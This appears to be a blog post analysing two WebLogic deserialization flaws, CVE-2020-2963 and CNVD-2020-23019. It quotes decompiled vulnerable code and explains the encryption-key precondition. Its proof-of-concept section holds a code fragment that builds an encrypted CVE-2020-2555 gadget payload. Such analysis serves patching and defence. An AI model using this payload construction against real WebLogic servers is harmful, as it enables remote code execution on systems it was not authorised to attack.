weblogic CVE-2020-2963、CNVD-2020-23019 反序列化漏洞分析與復現

簡介

這兩個洞應該都是5月更新的補丁,分析時候無意中發現的。看了一下漏洞挺簡單,就是利用有點苛刻

SOAPInvokeState CNVD-2020-23019

diff 補丁,截圖如下

可以很明顯的看出,將ObjectInputStream更改爲FilterInputStream。在weblogic中,FilterInputStream負責檢查反序列化的類種是否存在可以利用的Gadget,而ObjectInputStream不會。並且在類的readObject 方法中,通過T3協議反序列化默認的參數爲FilterInputStream,以此來防禦反序列化漏洞。

除非類的readObject中亂調用ObjectInputStream,否則是不會產生反序列化漏洞的。

在SOAPInvokeState的readExternal中,我們只要能走入以下的流程即可

        if ((flags & 1) != 0) {
            try {
                len = in.readInt();
                byte[] bytes = new byte[len];
                in.readFully(bytes);
                bytes = EncryptionUtil.decrypt(bytes);
                ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
                ObjectInputStream in2 = new ObjectInputStream(bais);
                this.subject = (AuthenticatedSubject)in2.readObject();
            } catch (Exception var13) {
                (new NonCatalogLogger("WebServices")).warning("Couldn't completely read SOAPInvokeState object", var13);
            }

看一下writeExternal方法,被實例化的類中存在subject,就可以讓readExternal執行上面的反序列化流程

        if (this.subject != null) {
            ByteArrayOutputStream var12 = new ByteArrayOutputStream();
            ObjectOutputStream var13 = new ObjectOutputStream(var12);
            var13.writeObject(this.subject);
            var13.flush();
            byte[] var5 = var12.toByteArray();
            var5 = EncryptionUtil.encrypt(var5);
            var1.writeInt(var5.length);
            var1.write(var5);
        }

當然,還下面問題

加密

在EncryptionUtil.encrypt加密時,會根據Kernel.isServer()爲true,纔會進行加密,否則返回原數據。
因此加密之前需要調用KernelStatus.setIsServer(true)設置狀態爲true,或者強行加密。

    public static byte[] encrypt(byte[] var0) {
        return getEncryptionService().encryptBytes(var0);
    }

weblogic.security.internal.SerializedSystemIni#getExistingEncryptionService中,會讀取SerializedSystemIni.dat作爲密鑰,也就是說,需要認證或者配合文件讀取才能利用該漏洞去攻擊weblogic

    public static EncryptionService getExistingEncryptionService() {
        String var0 = DomainDir.getRootDir();
        String var1 = var0 + File.separator + "security" + File.separator + "SerializedSystemIni.dat";
        File var2 = new File(var1);
        if (!var2.exists()) {
            String var3 = var0 + File.separator + "SerializedSystemIni.dat";
            File var4 = new File(var3);
            if (!var4.exists()) {
                return null;
            }

            var1 = var3;
        }

        SerializedSystemIni var5 = new SerializedSystemIni(var1);
        return getEncryptionService(var5.getTheSalt(), var5.getTheEncryptedSecretKey(), var5.getTheAESEncryptedSecretKey());

POC

魔改一下 writeExternal爲下面的代碼,再反序列化即可

            BadAttributeValueExpException exp = null;
            try {
                exp = cve_2020_2555.getBadAttributeValueExpException();
            } catch (Exception e) {
                e.printStackTrace();
            }
            out2.writeObject(exp);
            out2.flush();
            byte[] bytes = baos.toByteArray();
            bytes = EncryptionUtil.encrypt(bytes);
            out.writeInt(bytes.length);
            out.write(bytes);
        }
       
}

WlsSSLAdapter CVE-2020-2963

原理一樣,詳見下面的代碼


    private Object readEncryptedField(ObjectInputStream in) throws IOException, ClassNotFoundException {
        int length = in.readInt();
        if (length <= 0) {
            return in.readObject();
        } else {
            byte[] bytes = new byte[length];
            in.readFully(bytes);
            bytes = EncryptionUtil.decrypt(bytes);
            ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
            ObjectInputStream in2 = new ObjectInputStream(bais);
            return in2.readObject();
        }
    }

參考

  1. https://www.fortiguard.com/encyclopedia/ips/48965
  2. https://www.fortiguard.com/encyclopedia/ips/48945
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章